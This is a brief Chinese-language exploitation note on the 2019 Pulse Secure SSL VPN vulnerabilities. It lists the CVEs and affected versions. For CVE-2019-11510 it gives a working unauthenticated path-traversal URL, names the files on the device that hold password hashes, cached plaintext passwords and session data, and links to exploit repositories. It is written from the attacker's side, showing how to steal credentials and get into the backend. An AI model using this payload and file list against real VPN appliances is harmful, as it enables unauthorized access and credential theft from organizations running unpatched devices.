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Pulse-Secure-SSL-VPN-CVE-2019

漏洞编号:

CVE-2019-11510——任意文件读取(无需授权)

CVE-2019-11542——堆栈缓冲区溢出(管理员权限)

CVE-2019-11539——命令注入(管理员权限)

CVE-2019-11538——通过NFS读取任意文件(用户权限)

CVE-2019-11508——通过NFS写入任意文件(用户权限)

CVE-2019-11540——跨站脚本包含(需授权)

CVE-2019-11507——跨站脚本(需授权)

影响版本

Pulse Connect Secure 9.0R1 – 9.0R3.3

Pulse Connect Secure 8.3R1 – 8.3R7

Pulse Connect Secure 8.2R1 – 8.2R12

Pulse Connect Secure 8.1R1 – 8.1R15

Pulse Policy Secure 9.0R1 – 9.0R3.3

Pulse Policy Secure 5.4R1 – 5.4R7

Pulse Policy Secure 5.3R1 – 5.3R12

Pulse Policy Secure 5.2R1 – 5.2R12

Pulse Policy Secure 5.1R1 – 5.1R15

CVE-2019-11510: 在不需授权的情况下可以读取系统任意文件

/etc/passwd
/etc/hosts
/data/runtime/mtmp/system
/data/runtime/mtmp/lmdb/dataa/data.mdb
/data/runtime/mtmp/lmdb/dataa/lock.mdb
/data/runtime/mtmp/lmdb/randomVal/data.mdb
/data/runtime/mtmp/lmdb/randomVal/lock.mdb 

例:https://xxx/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/

Vpn用户和密码hash存储mtmp/system 中,dataa/data.mdb 存储这用户登陆后缓存的明文密码,randomVal/data.mdb 存储着用户Session。攻击者可以利用该漏洞获取账号密码登录后台。

CVE-2019-11510 exp

https://github.com/projectzeroindia/CVE-2019-11510

CVE-2019-11539

https://github.com/0xDezzy/CVE-2019-11539

相关链接:

https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html https://www.anquanke.com/post/id/185080

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